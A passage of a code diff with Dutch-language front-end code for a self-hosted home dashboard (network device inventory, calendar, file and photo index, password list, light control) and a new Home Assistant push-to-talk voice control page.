'<span style="color:var(--danger)">Kan netwerkdata niet laden. Draait de web server met Neo4j?</span>';
console.error(e);
}
}
// ═══════════ SYSTEMS ═══════════
async function loadSystems() {
try {
const filter = document.getElementById('sys-filter')?.value || '';
const url = filter ? `${API}/systems?os=${encodeURIComponent(filter)}` : `${API}/systems`;
const systems = await fetch(url).then(r => r.json());
document.getElementById('systems-list').innerHTML = systems.map(s => {
const ports = (s.open_ports||[]).map(p => {
let svc = '';
const common = {22:'SSH',53:'DNS',80:'HTTP',443:'HTTPS',445:'SMB',3000:'Grafana',3306:'MySQL',3389:'RDP',5000:'DSM',5432:'PostgreSQL',5433:'PostgreSQL',8000:'HTTP',8080:'HTTP',8123:'HA API',8443:'HTTPS',9000:'Portainer',9443:'UniFi',49153:'Neo4j',49154:'Neo4j Browser'};
if (common[p]) svc = common[p];
return `<span style="background:var(--surface2);padding:2px 8px;border-radius:4px;font-size:0.78rem;margin:2px">:${p}${svc?' '+svc:''}</span>`;
}).join('');
const osIcon = s.os_guess?.includes('Windows') ? '🪟' :
s.os_guess?.includes('ESP32') ? '📡' :
s.os_guess?.includes('Router') ? '📶' :
s.os_guess?.includes('UniFi') ? '📡' :
s.os_guess?.includes('Home Assistant') ? '🏠' :
s.os_guess?.includes('Synology') ? '🗄️' :
s.os_guess?.includes('Stofzuiger') ? '🧹' :
s.os_guess?.includes('Linux') ? '🐧' : '💻';
return `
<div class="pw-item" style="cursor:pointer" onclick="showSystemDetail('${s.ip}')">
<span style="font-size:1.5rem">${osIcon}</span>
<div class="pw-info">
<div class="pw-title">${esc(s.hostname||s.ip)} <span style="font-size:0.75rem;color:var(--text-dim)">${s.ip}</span></div>
<div style="font-size:0.78rem;color:var(--text-dim)">${esc(s.os_guess||'Onbekend')}${s.mac?' • MAC: '+s.mac:''}</div>
<div style="margin-top:4px">${ports||'<span style="color:var(--text-dim)">geen open poorten</span>'}</div>
</div>
<span style="color:var(--text-dim);font-size:0.75rem">${s.port_count} poorten</span>
</div>`;
}).join('') || '<span style="color:var(--text-dim)">Geen systemen gevonden</span>';
} catch(e) {
document.getElementById('systems-list').innerHTML =
'<span style="color:var(--danger)">Kan systemen niet laden. Is de Neo4j database bereikbaar?</span>';
console.error(e);
}
}
// ═══════════ SYSTEM DETAIL ═══════════
async function showSystemDetail(ip) {
try {
const sys = await fetch(`${API}/systems/${ip}`).then(r => r.json());
const portsHtml = (sys.ports||[]).map(p => `
<tr><td>:${p.port}</td><td>${p.service||'?'}</td><td style="color:var(--text-dim);font-size:0.8rem">${esc(p.banner||'')}</td></tr>
`).join('');
document.getElementById('modal-content').innerHTML = `
<h2>🖥️ ${esc(sys.hostname||sys.ip)}</h2>
<div style="display:grid;grid-template-columns:120px 1fr;gap:8px;margin:16px 0;font-size:0.9rem">
<div style="color:var(--text-dim)">IP</div><div><strong>${sys.ip}</strong></div>
<div style="color:var(--text-dim)">MAC</div><div>${sys.mac||'onbekend'}</div>
<div style="color:var(--text-dim)">OS</div><div>${esc(sys.os_guess||'Onbekend')}</div>
<div style="color:var(--text-dim)">Eerste scan</div><div>${(sys.first_seen||'').substring(0,16).replace('T',' ')}</div>
<div style="color:var(--text-dim)">Laatste scan</div><div>${(sys.last_seen||'').substring(0,16).replace('T',' ')}</div>
</div>
<h4 style="margin-bottom:8px">Open poorten (${sys.ports?.length||0})</h4>
<table class="file-table" style="width:100%">
<tr><th>Poort</th><th>Service</th><th>Banner</th></tr>
${portsHtml||'<tr><td colspan="3">Geen open poorten</td></tr>'}
</table>
<div class="modal-actions">
<button class="btn" onclick="closeModal()">Sluiten</button>
</div>`;
document.getElementById('modal-overlay').classList.add('show');
} catch(e) {
alert('Kan systeem-details niet laden: ' + e.message);
}
}
// ═══════════ CONFIG ═══════════
async function loadConfig() {
try {
const cfg = await fetch(`${API}/config`).then(r => r.json());
const connStatus = (connected) => connected
? '<span style="color:var(--success)">● verbonden</span>'
: '<span style="color:var(--warning)">○ niet geconfigureerd</span>';
document.getElementById('config-content').innerHTML = `
<div class="grid-2">
<div class="card" style="background:var(--surface2)">
<h4>🔌 Connecties</h4>
<div style="font-size:0.85rem;margin-top:8px">
<div style="margin-bottom:6px"><strong>Home Assistant</strong><br>${cfg.connections.home_assistant.url} ${connStatus(cfg.connections.home_assistant.connected)}</div>
<div style="margin-bottom:6px"><strong>PostgreSQL</strong><br>${cfg.connections.postgresql.host}:${cfg.connections.postgresql.port}/${cfg.connections.postgresql.database} (${cfg.connections.postgresql.user})</div>
<div style="margin-bottom:6px"><strong>Neo4j</strong><br>${cfg.connections.neo4j.uri} ${cfg.connections.neo4j.available ? '<span style="color:var(--success)">● bereikbaar</span>' : '<span style="color:var(--danger)">✗ niet bereikbaar</span>'}<br>
<span style="color:var(--text-dim)">${cfg.connections.neo4j.devices} devices • laatste scan: ${(cfg.connections.neo4j.last_scan||'nooit').substring(0,16).replace('T',' ')}</span></div>
</div>
</div>
<div class="card" style="background:var(--surface2)">
<h4>📊 Database Status</h4>
<div style="font-size:0.85rem;margin-top:8px;display:grid;grid-template-columns:1fr 1fr;gap:4px">
<div>Favorieten:</div><div><strong>${cfg.counts.favorites}</strong></div>
<div>Wachtwoorden:</div><div><strong>${cfg.counts.passwords}</strong></div>
<div>Agenda events:</div><div><strong>${cfg.counts.calendar_events}</strong></div>
<div>Bestanden:</div><div><strong>${cfg.counts.files_indexed}</strong></div>
<div>Foto's:</div><div><strong>${cfg.counts.photos_indexed}</strong></div>
<div>Netwerk devices:</div><div><strong>${cfg.counts.network_devices}</strong></div>
</div>
</div>
</div>
<div class="card" style="background:var(--surface2);margin-top:16px">
<h4>⚙️ Settings</h4>
<div style="font-size:0.85rem;margin-top:8px">
${Object.entries(cfg.settings||{}).map(([k,v]) => `<div style="margin-bottom:4px"><span style="color:var(--text-dim)">${k}:</span> <strong>${esc(v)}</strong></div>`).join('')}
</div>
</div>
<div class="card" style="background:var(--surface2);margin-top:16px">
<h4>🖥 Server</h4>
<div style="font-size:0.85rem;margin-top:8px">
<div>Host: ${cfg.server.host}:${cfg.server.port}</div>
<div>Whisper: ${cfg.server.whisper_mode} (${cfg.server.whisper_model}) op ${cfg.server.whisper_device}</div>
</div>
</div>`;
} catch(e) {
document.getElementById('config-content').innerHTML =
'<span style="color:var(--danger)">Kan config niet laden.</span>';
console.error(e);
}
}
// ═══════════ LIGHTS ═══════════
async function loadLights() {
try {
const r = await fetch('/api/lights'); const lights = await r.json();
document.getElementById('lights-grid').innerHTML = lights.map(l => `
<div class="card" style="cursor:pointer" onclick="toggleLight('${l.entity_id}','${l.state==='on'?'turn_off':'turn_on'}')">
<div style="display:flex;align-items:center;gap:12px">
<span style="font-size:2rem">${l.state==='on'?'💡':'🌑'}</span>
<div style="flex:1">
<div style="font-weight:500">${esc(l.friendly_name||l.entity_id)}</div>
<div style="font-size:0.8rem;color:var(--text-dim)">${l.state==='on'?'Aan'+(l.brightness?` ${Math.round(l.brightness/2.55)}%`:'') : 'Uit'}</div>
</div>
</div>
</div>
`).join('') || '<span style="color:var(--text-dim)">Geen lampen</span>';
} catch(e) { document.getElementById('lights-grid').innerHTML = '<span style="color:var(--danger)">Fout bij laden</span>'; }
}
async function toggleLight(entityId, action) {
await fetch('/api/light/control', {
method:'POST', headers:{'Content-Type':'application/json'},
body: JSON.stringify({entity_id:entityId, action})
});
setTimeout(loadLights, 300);
}
// ═══════════ CALENDAR ═══════════
async function loadCalendar() {
const now = new Date();
if (!calYear) { calYear = now.getFullYear(); calMonth = now.getMonth(); }
const months = ['Jan','Feb','Mrt','Apr','Mei','Jun','Jul','Aug','Sep','Okt','Nov','Dec'];
document.getElementById('cal-month-label').textContent = `${months[calMonth]} ${calYear}`;
const firstDay = new Date(calYear, calMonth, 1).getDay(); // 0=Sun
const daysInMonth = new Date(calYear, calMonth+1, 0).getDate();
const prevDays = new Date(calYear, calMonth, 0).getDate();
// Haal events
let events = [];
try {
events = await fetch(`${API}/calendar?days=90`).then(r=>r.json());
} catch(e) {}
const eventDays = new Set(events.map(e => e.event_start?.substring(0,10)));
let html = '<div class="cal-day-header">Zo</div><div class="cal-day-header">Ma</div><div class="cal-day-header">Di</div><div class="cal-day-header">Wo</div><div class="cal-day-header">Do</div><div class="cal-day-header">Vr</div><div class="cal-day-header">Za</div>';
const today = new Date().toISOString().substring(0,10);
for (let i = firstDay-1; i >= 0; i--) {
html += `<div class="cal-day other-month">${prevDays - i}</div>`;
}
for (let d = 1; d <= daysInMonth; d++) {
const dateStr = `${calYear}-${String(calMonth+1).padStart(2,'0')}-${String(d).padStart(2,'0')}`;
const classes = ['cal-day'];
if (dateStr === calSelectedDate) classes.push('selected');
if (dateStr === today) classes.push('today');
if (eventDays.has(dateStr)) classes.push('has-event');
html += `<div class="${classes.join(' ')}" onclick="selectDate('${dateStr}')">${d}</div>`;
}
const remaining = 42 - (firstDay + daysInMonth);
for (let d = 1; d <= remaining; d++) {
html += `<div class="cal-day other-month">${d}</div>`;
}
document.getElementById('calendar-grid').innerHTML = html;
if (calSelectedDate) selectDate(calSelectedDate);
}
function calShift(dir) {
if (dir === 0) { const n=new Date(); calYear=n.getFullYear(); calMonth=n.getMonth(); }
else { calMonth += dir; if(calMonth<0){calMonth=11;calYear--;} if(calMonth>11){calMonth=0;calYear++;} }
loadCalendar();
}
async function selectDate(dateStr) {
calSelectedDate = dateStr;
document.getElementById('cal-date-label').textContent = `Events — ${dateStr}`;
try {
const events = await fetch(`${API}/calendar?days=90`).then(r=>r.json());
const dayEvents = events.filter(e => e.event_start?.substring(0,10) === dateStr);
document.getElementById('event-list').innerHTML = dayEvents.map(e => `
<div class="event-item" style="border-left-color:${e.color||'var(--accent)'}">
<span class="event-time">${e.event_start?.split('T')[1]?.substring(0,5)||'--:--'}</span>
<span class="event-title">${esc(e.title)}</span>
<button class="btn btn-sm btn-danger" style="margin-left:auto" onclick="deleteEvent(${e.id})">x</button>
</div>
`).join('') || '<span style="color:var(--text-dim)">Geen events op deze dag</span>';
} catch(e) {}
loadCalendar();
}
function showEventModal() {
document.getElementById('modal-content').innerHTML = `
<h2>Nieuw event</h2>
<div class="form-group"><label>Titel</label><input id="ev-title"></div>
<div class="form-row">
<div class="form-group"><label>Datum</label><input type="date" id="ev-date" value="${calSelectedDate||new Date().toISOString().substring(0,10)}"></div>
<div class="form-group"><label>Tijd</label><input type="time" id="ev-time" value="09:00"></div>
</div>
<div class="modal-actions">
<button class="btn" onclick="closeModal()">Annuleren</button>
<button class="btn btn-primary" onclick="saveEvent()">Opslaan</button>
</div>`;
document.getElementById('modal-overlay').classList.add('show');
}
async function saveEvent() {
const title = document.getElementById('ev-title').value;
const date = document.getElementById('ev-date').value;
const time = document.getElementById('ev-time').value;
if(!title){alert('Titel is verplicht');return;}
await fetch(`${API}/calendar`, {
method:'POST', headers:{'Content-Type':'application/json'},
body: JSON.stringify({title, event_start: `${date}T${time}:00`, all_day: false})
});
closeModal(); loadCalendar();
}
async function deleteEvent(id) {
await fetch(`${API}/calendar/${id}`, {method:'DELETE'});
loadCalendar(); selectDate(calSelectedDate);
}
// ═══════════ FILES ═══════════
async function loadFiles(search='') {
try {
const r = await fetch(`${API}/files?search=${encodeURIComponent(search)}&limit=100`);
const d = await r.json();
document.getElementById('file-count').textContent = `${d.total||0} bestanden`;
document.getElementById('file-table').innerHTML = `
<tr><th>Naam</th><th>Type</th><th>Grootte</th><th>Locatie</th><th>Datum</th></tr>
${(d.files||[]).map(f => `
<tr>
<td>${esc(f.file_name)}</td>
<td>${f.file_type||'-'}</td>
<td>${formatSize(f.file_size)}</td>
<td>${esc(f.source_host||'')}</td>
<td>${f.last_modified?.substring(0,10)||'-'}</td>
</tr>`).join('')}`;
} catch(e) { document.getElementById('file-table').innerHTML = '<tr><td colspan="5">Geen bestanden geindexeerd. Run de file scanner.</td></tr>'; }
}
function formatSize(bytes) {
if (!bytes) return '-';
const units = ['B','KB','MB','GB','TB'];
let i = 0; while (bytes >= 1024 && i < 4) { bytes /= 1024; i++; }
return `${bytes.toFixed(1)} ${units[i]}`;
}
// ═══════════ PHOTOS ═══════════
async function loadPhotos() {
try {
// Laad persons voor filter
const persons = await fetch(`${API}/photos/persons`).then(r=>r.json());
const sel = document.getElementById('photo-filter');
sel.innerHTML = '<option value="">Alle foto\'s</option>' + persons.map(p => `<option value="${p.id}">${esc(p.name)} (${p.photo_count})</option>`).join('');
const personId = sel.value;
const url = personId ? `${API}/photos?person_id=${personId}&limit=50` : `${API}/photos?limit=50`;
const photos = await fetch(url).then(r=>r.json());
document.getElementById('photo-grid').innerHTML = photos.map(p => `
<div class="photo-thumb">
<div style="display:flex;align-items:center;justify-content:center;height:100%;color:var(--text-dim);font-size:0.8rem">
📷 ${esc(p.file_name||'')}
${p.faces_detected ? `<div class="photo-face-badge">${p.faces_detected} 👤</div>` : ''}
</div>
</div>
`).join('') || '<span style="color:var(--text-dim);grid-column:1/-1">Nog geen foto\'s geindexeerd. Gebruik de file scanner met face recognition.</span>';
} catch(e) { console.error(e); }
}
// ═══════════ PASSWORDS ═══════════
async function loadPasswords(search='') {
try {
const url = search ? `${API}/passwords?search=${encodeURIComponent(search)}` : `${API}/passwords`;
const pws = await fetch(url).then(r=>r.json());
document.getElementById('password-list').innerHTML = pws.map(p => `
<div class="pw-item">
<span class="pw-icon">🔐</span>
<div class="pw-info">
<div class="pw-title">${esc(p.title)}</div>
<div class="pw-user">${esc(p.username||'')} ${p.url ? '• '+esc(p.url) : ''}</div>
</div>
<div class="pw-actions">
<button class="btn btn-sm" onclick="copyPassword(${p.id})">📋</button>
<button class="btn btn-sm btn-danger" onclick="deletePassword(${p.id})">x</button>
</div>
</div>
`).join('') || '<span style="color:var(--text-dim)">Geen wachtwoorden</span>';
} catch(e) { console.error(e); }
}
async function copyPassword(id) {
const r = await fetch(`${API}/passwords/${id}`); const d = await r.json();
await navigator.clipboard.writeText(d.password);
alert('Wachtwoord gekopieerd!');
}
function showPasswordModal() {
document.getElementById('modal-content').innerHTML = `
<h2>Nieuw wachtwoord</h2>
<div class="form-group"><label>Titel</label><input id="pw-title"></div>
<div class="form-row">
<div class="form-group"><label>Gebruikersnaam</label><input id="pw-user"></div>
<div class="form-group"><label>Wachtwoord</label><input type="password" id="pw-pass"></div>
</div>
<div class="form-group"><label>URL</label><input id="pw-url"></div>
<div class="modal-actions">
<button class="btn" onclick="closeModal()">Annuleren</button>
<button class="btn btn-primary" onclick="savePassword()">Opslaan</button>
</div>`;
document.getElementById('modal-overlay').classList.add('show');
}
async function savePassword() {
const title=document.getElementById('pw-title').value, username=document.getElementById('pw-user').value;
const password=document.getElementById('pw-pass').value, url=document.getElementById('pw-url').value;
if(!title||!password){alert('Titel en wachtwoord zijn verplicht');return;}
await fetch(`${API}/passwords`, {
method:'POST', headers:{'Content-Type':'application/json'},
body: JSON.stringify({title,username,password,url})
});
closeModal(); loadPasswords();
}
async function deletePassword(id) {
if(!confirm('Verwijderen?'))return;
await fetch(`${API}/passwords/${id}`, {method:'DELETE'});
loadPasswords();
}
// ═══════════ QUICK LINKS ═══════════
async function loadLinks() {
try {
const links = await fetch(`${API}/favorites`).then(r=>r.json());
const grouped = {}; links.forEach(l => { if(!grouped[l.category])grouped[l.category]=[]; grouped[l.category].push(l); });
let html = '';
for(const [cat, items] of Object.entries(grouped)) {
html += `<div style="grid-column:1/-1;margin-top:12px;color:var(--text-dim);font-size:0.8rem;font-weight:600;text-transform:uppercase">${esc(cat)}</div>`;
html += items.map(l => `<a class="quick-link" href="${esc(l.url)}" target="_blank"><span class="ql-icon">${l.icon||'⭐'}</span><div class="ql-info"><div class="ql-title">${esc(l.title)}</div><div class="ql-url">${esc(l.url)}</div></div></a>`).join('');
}
document.getElementById('all-links').innerHTML = html || '<span style="color:var(--text-dim)">Geen links</span>';
} catch(e) { console.error(e); }
}
function showLinkModal() {
document.getElementById('modal-content').innerHTML = `
<h2>Nieuwe Quick Link</h2>
<div class="form-group"><label>Titel</label><input id="ql-title"></div>
<div class="form-group"><label>URL</label><input id="ql-url"></div>
<div class="form-row">
<div class="form-group"><label>Icoon</label><input id="ql-icon" value="⭐"></div>
<div class="form-group"><label>Categorie</label><input id="ql-cat" value="Algemeen"></div>
</div>
<div class="modal-actions">
<button class="btn" onclick="closeModal()">Annuleren</button>
<button class="btn btn-primary" onclick="saveLink()">Opslaan</button>
</div>`;
document.getElementById('modal-overlay').classList.add('show');
}
async function saveLink() {
const title=document.getElementById('ql-title').value, url=document.getElementById('ql-url').value;
const icon=document.getElementById('ql-icon').value, category=document.getElementById('ql-cat').value;
if(!title||!url){alert('Titel en URL zijn verplicht');return;}
await fetch(`${API}/favorites`, {
method:'POST', headers:{'Content-Type':'application/json'},
body: JSON.stringify({title,url,icon,category})
});
closeModal(); loadLinks();
}
// ═══════════ MODAL ═══════════
function closeModal() { document.getElementById('modal-overlay').classList.remove('show'); }
document.getElementById('modal-overlay').addEventListener('click', function(e) { if(e.target===this) closeModal(); });
// ═══════════ HELPERS ═══════════
function esc(s) { if(!s) return ''; const d=document.createElement('div'); d.textContent=s; return d.innerHTML; }
// ═══════════ INIT ═══════════
loadOverview();
</script>
</body>
</html>
+591
View File
@@ -0,0 +1,591 @@
<!DOCTYPE html>
<html lang="nl">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>HA Voice Control</title>
<style>
:root {
--bg: #0d1117;
--surface: #161b22;
--border: #30363d;
--text: #e6edf3;
--text-dim: #8b949e;
--accent: #58a6ff;
--danger: #f85149;
--success: #3fb950;
--warning: #d29922;
--mic-bg: #1a2332;
--mic-active: #da3633;
--radius: 12px;
}
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
background: var(--bg);
color: var(--text);
min-height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
padding: 20px;
}
header {
text-align: center;
margin-bottom: 20px;
}
header h1 {
font-size: 1.6rem;
font-weight: 600;
letter-spacing: -0.02em;
}
header p {
color: var(--text-dim);
font-size: 0.9rem;
margin-top: 4px;
}
.status-bar {
display: flex;
gap: 8px;
align-items: center;
margin-bottom: 24px;
font-size: 0.85rem;
color: var(--text-dim);
}
.status-dot {
width: 8px; height: 8px;
border-radius: 50%;
background: var(--text-dim);
}
.status-dot.connected { background: var(--success); }
.status-dot.error { background: var(--danger); }
/* ── mic button ─────────────────────────────── */
.mic-container {
position: relative;
margin-bottom: 32px;
}
.mic-ripple {
position: absolute;
inset: -8px;
border-radius: 50%;
border: 3px solid var(--mic-active);
opacity: 0;
pointer-events: none;
}
.mic-ripple.active {
animation: ripple 1.5s ease-out infinite;
}
@keyframes ripple {
0% { transform: scale(1); opacity: 0.6; }
100% { transform: scale(1.4); opacity: 0; }
}
#mic-btn {
width: 120px; height: 120px;
border-radius: 50%;
border: 3px solid var(--border);
background: var(--mic-bg);
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
transition: all 0.2s ease;
position: relative;
z-index: 1;
-webkit-tap-highlight-color: transparent;
user-select: none;
}
#mic-btn:hover {
border-color: var(--accent);
transform: scale(1.05);
}
#mic-btn:active {
transform: scale(0.97);
}
#mic-btn.recording {
border-color: var(--mic-active);
background: #1f1217;
box-shadow: 0 0 32px rgba(248, 81, 73, 0.25);
}
#mic-btn svg {
width: 48px; height: 48px;
fill: var(--text);
transition: fill 0.2s;
}
#mic-btn.recording svg {
fill: var(--mic-active);
}
.mic-label {
text-align: center;
margin-top: 12px;
font-size: 0.9rem;
color: var(--text-dim);
transition: color 0.2s;
}
.mic-label.recording {
color: var(--mic-active);
font-weight: 500;
}
/* ── transcriptie resultaten ────────────────── */
.result-card {
background: var(--surface);
border: 1px solid var(--border);
border-radius: var(--radius);
padding: 16px 20px;
margin-bottom: 16px;
width: 100%;
max-width: 480px;
min-height: 48px;
display: flex;
align-items: center;
gap: 10px;
}
.result-card .icon {
font-size: 1.4rem;
flex-shrink: 0;
}
.result-card .content {
flex: 1;
font-size: 0.95rem;
line-height: 1.5;
}
.result-card .text-transcript {
font-weight: 500;
margin-bottom: 4px;
}
.result-card .text-response {
color: var(--text-dim);
font-size: 0.85rem;
}
.result-card.error { border-color: var(--danger); }
.result-card.success { border-color: var(--success); }
/* ── lichten paneel ──────────────────────────── */
.lights-panel {
width: 100%;
max-width: 480px;
}
.lights-panel h2 {
font-size: 1rem;
font-weight: 600;
margin-bottom: 12px;
color: var(--text-dim);
text-transform: uppercase;
letter-spacing: 0.05em;
}
.light-item {
display: flex;
align-items: center;
gap: 12px;
padding: 12px 16px;
background: var(--surface);
border: 1px solid var(--border);
border-radius: var(--radius);
margin-bottom: 8px;
cursor: pointer;
transition: background 0.15s;
}
.light-item:hover {
background: #1c2129;
}
.light-icon {
font-size: 1.4rem;
}
.light-info {
flex: 1;
}
.light-name {
font-size: 0.95rem;
font-weight: 500;
}
.light-state {
font-size: 0.8rem;
color: var(--text-dim);
}
.light-toggle {
width: 48px; height: 28px;
border-radius: 14px;
background: var(--border);
cursor: pointer;
position: relative;
transition: background 0.2s;
border: none;
flex-shrink: 0;
}
.light-toggle.on {
background: var(--accent);
}
.light-toggle::after {
content: '';
position: absolute;
top: 3px; left: 3px;
width: 22px; height: 22px;
border-radius: 50%;
background: white;
transition: transform 0.2s;
}
.light-toggle.on::after {
transform: translateX(20px);
}
/* ── spinner ─────────────────────────────────── */
.spinner {
width: 20px; height: 20px;
border: 2px solid var(--border);
border-top-color: var(--accent);
border-radius: 50%;
animation: spin 0.7s linear infinite;
}
@keyframes spin { to { transform: rotate(360deg); } }
/* ── responsive ──────────────────────────────── */
@media (max-width: 500px) {
#mic-btn { width: 100px; height: 100px; }
#mic-btn svg { width: 38px; height: 38px; }
}
</style>
</head>
<body>
<header>
<h1>🏠 Home Assistant Voice Control</h1>
<p>Druk op de microfoon, spreek je commando, en laat los</p>
</header>
<div class="status-bar">
<div class="status-dot" id="status-dot"></div>
<span id="status-text">Verbinden...</span>
</div>
<!-- microfoon knop -->
<div class="mic-container">
<div class="mic-ripple" id="mic-ripple"></div>
<button id="mic-btn" aria-label="Microfoon">
<svg viewBox="0 0 24 24"><path d="M12 14a3 3 0 0 0 3-3V5a3 3 0 0 0-6 0v6a3 3 0 0 0 3 3zm5-3a5 5 0 0 1-10 0H5a7 7 0 0 0 6 6.93V21h2v-3.07A7 7 0 0 0 19 11h-2z"/></svg>
</button>
</div>
<div class="mic-label" id="mic-label">Houd ingedrukt om te spreken</div>
<!-- resultaten -->
<div id="results"></div>
<!-- laad spinner -->
<div id="loading" style="display:none; justify-content:center; margin:16px 0;">
<div class="spinner"></div>
<span style="margin-left:10px; color:var(--text-dim)">Verwerken...</span>
</div>
<!-- lichten paneel -->
<div class="lights-panel">
<h2>💡 Lampen</h2>
<div id="lights-list">
<div style="color:var(--text-dim); font-size:0.9rem;">Laden...</div>
</div>
</div>
<script>
// ── configuratie ──────────────────────────────────────
const API_BASE = window.location.origin;
// ── state ─────────────────────────────────────────────
let mediaRecorder = null;
let audioChunks = [];
let isRecording = false;
// ── DOM refs ──────────────────────────────────────────
const micBtn = document.getElementById('mic-btn');
const micLabel = document.getElementById('mic-label');
const micRipple = document.getElementById('mic-ripple');
const resultsEl = document.getElementById('results');
const lightsList = document.getElementById('lights-list');
const loadingEl = document.getElementById('loading');
const statusDot = document.getElementById('status-dot');
const statusText = document.getElementById('status-text');
// ── health check ──────────────────────────────────────
async function checkHealth() {
try {
const resp = await fetch(`${API_BASE}/api/health`);
const data = await resp.json();
statusDot.className = 'status-dot connected';
statusText.textContent = `Verbonden met HA (${data.ha_url})`;
} catch (e) {
statusDot.className = 'status-dot error';
statusText.textContent = 'Geen verbinding met server';
}
}
// ── lichten laden ─────────────────────────────────────
async function loadLights() {
try {
const resp = await fetch(`${API_BASE}/api/lights`);
const lights = await resp.json();
renderLights(lights);
} catch (e) {
lightsList.innerHTML = '<span style="color:var(--danger)">Fout bij laden lampen</span>';
}
}
function renderLights(lights) {
if (!lights || lights.length === 0) {
lightsList.innerHTML = '<span style="color:var(--text-dim)">Geen lampen gevonden</span>';
return;
}
lightsList.innerHTML = lights.map(l => {
const isOn = l.state === 'on';
const name = l.friendly_name || l.entity_id;
const brightness = l.brightness != null ? `, ${Math.round(l.brightness / 2.55)}%` : '';
return `
<div class="light-item" data-entity="${l.entity_id}">
<span class="light-icon">${isOn ? '💡' : '🌑'}</span>
<div class="light-info">
<div class="light-name">${escapeHtml(name)}</div>
<div class="light-state">${isOn ? 'Aan' + brightness : 'Uit'}</div>
</div>
<button class="light-toggle ${isOn ? 'on' : ''}" data-entity="${l.entity_id}" data-action="${isOn ? 'turn_off' : 'turn_on'}"></button>
</div>
`;
}).join('');
// event listeners voor toggle knoppen
document.querySelectorAll('.light-toggle').forEach(btn => {
btn.addEventListener('click', async (e) => {
e.stopPropagation();
const entityId = btn.dataset.entity;
const action = btn.dataset.action;
await toggleLight(entityId, action);
});
});
// klik op hele rij togglet ook
document.querySelectorAll('.light-item').forEach(item => {
item.addEventListener('click', async () => {
const btn = item.querySelector('.light-toggle');
const entityId = btn.dataset.entity;
const action = btn.dataset.action;
await toggleLight(entityId, action);
});
});
}
async function toggleLight(entityId, action) {
try {
const resp = await fetch(`${API_BASE}/api/light/control`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ entity_id: entityId, action })
});
if (resp.ok) {
addResult(action === 'turn_on' ? '💡' : '🌑', `Lamp ${action === 'turn_on' ? 'aangezet' : 'uitgezet'}`, '', 'success');
await loadLights();
}
} catch (e) {
addResult('⚠️', 'Fout bij schakelen lamp', '', 'error');
}
}
// ── resultaten tonen ──────────────────────────────────
function addResult(icon, transcript, response, type = '') {
const card = document.createElement('div');
card.className = `result-card ${type}`;
card.innerHTML = `
<span class="icon">${icon}</span>
<div class="content">
${transcript ? `<div class="text-transcript">"${escapeHtml(transcript)}"</div>` : ''}
${response ? `<div class="text-response">${escapeHtml(response)}</div>` : ''}
</div>
`;
resultsEl.prepend(card);
// max 10 resultaten bewaren
while (resultsEl.children.length > 10) {
resultsEl.lastChild.remove();
}
}
function escapeHtml(str) {
const div = document.createElement('div');
div.textContent = str;
return div.innerHTML;
}
// ── audio opname ──────────────────────────────────────
async function initMicrophone() {
try {
const stream = await navigator.mediaDevices.getUserMedia({
audio: {
echoCancellation: true,
noiseSuppression: true,
sampleRate: 16000,
}
});
return stream;
} catch (e) {
console.error('Microfoon toegang geweigerd:', e);
micLabel.textContent = 'Microfoon niet beschikbaar';
micLabel.style.color = 'var(--danger)';
return null;
}
}
async function startRecording() {
const stream = await initMicrophone();
if (!stream) return;
// bepaal ondersteund MIME type
const mimeType = MediaRecorder.isTypeSupported('audio/webm;codecs=opus')
? 'audio/webm;codecs=opus'
: MediaRecorder.isTypeSupported('audio/webm')
? 'audio/webm'
: 'audio/wav';
try {
mediaRecorder = new MediaRecorder(stream, { mimeType });
} catch (e) {
mediaRecorder = new MediaRecorder(stream);
}
audioChunks = [];
mediaRecorder.ondataavailable = (e) => {
if (e.data.size > 0) audioChunks.push(e.data);
};
mediaRecorder.onstop = async () => {
// stop alle tracks
stream.getTracks().forEach(t => t.stop());
if (audioChunks.length === 0) return;
const audioBlob = new Blob(audioChunks, { type: mediaRecorder.mimeType || 'audio/webm' });
await sendAudio(audioBlob);
};
mediaRecorder.start();
isRecording = true;
updateMicUI();
}
function stopRecording() {
if (mediaRecorder && isRecording) {
mediaRecorder.stop();
isRecording = false;
updateMicUI();
}
}
function updateMicUI() {
if (isRecording) {
micBtn.classList.add('recording');
micLabel.classList.add('recording');
micLabel.textContent = 'Opnemen... laat los om te versturen';
micRipple.classList.add('active');
} else {
micBtn.classList.remove('recording');
micLabel.classList.remove('recording');
micLabel.textContent = 'Houd ingedrukt om te spreken';
micRipple.classList.remove('active');
}
}
// ── audio versturen ───────────────────────────────────
async function sendAudio(audioBlob) {
loadingEl.style.display = 'flex';
const formData = new FormData();
formData.append('audio', audioBlob, 'recording.wav');
try {
const resp = await fetch(`${API_BASE}/api/transcribe`, {
method: 'POST',
body: formData,
});
const data = await resp.json();
if (data.error) {
addResult('⚠️', data.text || '', data.error, 'error');
} else if (!data.text) {
addResult('🔇', '', data.message || 'Geen spraak gedetecteerd', '');
} else {
// HA response parsen voor weergave
const speech = extractSpeech(data.ha_result);
addResult('🎤', data.text, speech, 'success');
// herlaad lichten na actie
await loadLights();
}
} catch (e) {
addResult('❌', '', `Fout: ${e.message}`, 'error');
} finally {
loadingEl.style.display = 'none';
}
}
function extractSpeech(haResult) {
if (!haResult) return '';
try {
const speech = haResult?.response?.speech?.plain?.speech;
if (speech) return speech;
// alternatieve paden
if (haResult?.response?.speech) return JSON.stringify(haResult.response.speech);
if (haResult?.speech) return haResult.speech;
return '';
} catch (e) {
return '';
}
}
// ── event listeners ───────────────────────────────────
micBtn.addEventListener('pointerdown', (e) => {
e.preventDefault();
startRecording();
});
micBtn.addEventListener('pointerup', (e) => {
e.preventDefault();
stopRecording();
});
micBtn.addEventListener('pointerleave', (e) => {
if (isRecording) stopRecording();
});
// touch events voor mobiel
micBtn.addEventListener('touchstart', (e) => {
e.preventDefault();
startRecording();
});
micBtn.addEventListener('touchend', (e) => {
e.preventDefault();
stopRecording();
});
// keyboard support
micBtn.addEventListener('keydown', (e) => {
if (e.key === ' ' || e.key === 'Enter') {
e.preventDefault();
startRecording();
}
});
micBtn.addEventListener('keyup', (e) => {
if (e.key === ' ' || e.key === 'Enter') {
e.preventDefault();
stopRecording();
}
});
// ── init ──────────────────────────────────────────────
checkHealth();
loadLights();
// periodiek verversen
setInterval(loadLights, 30000);
</script>
</body>
</html>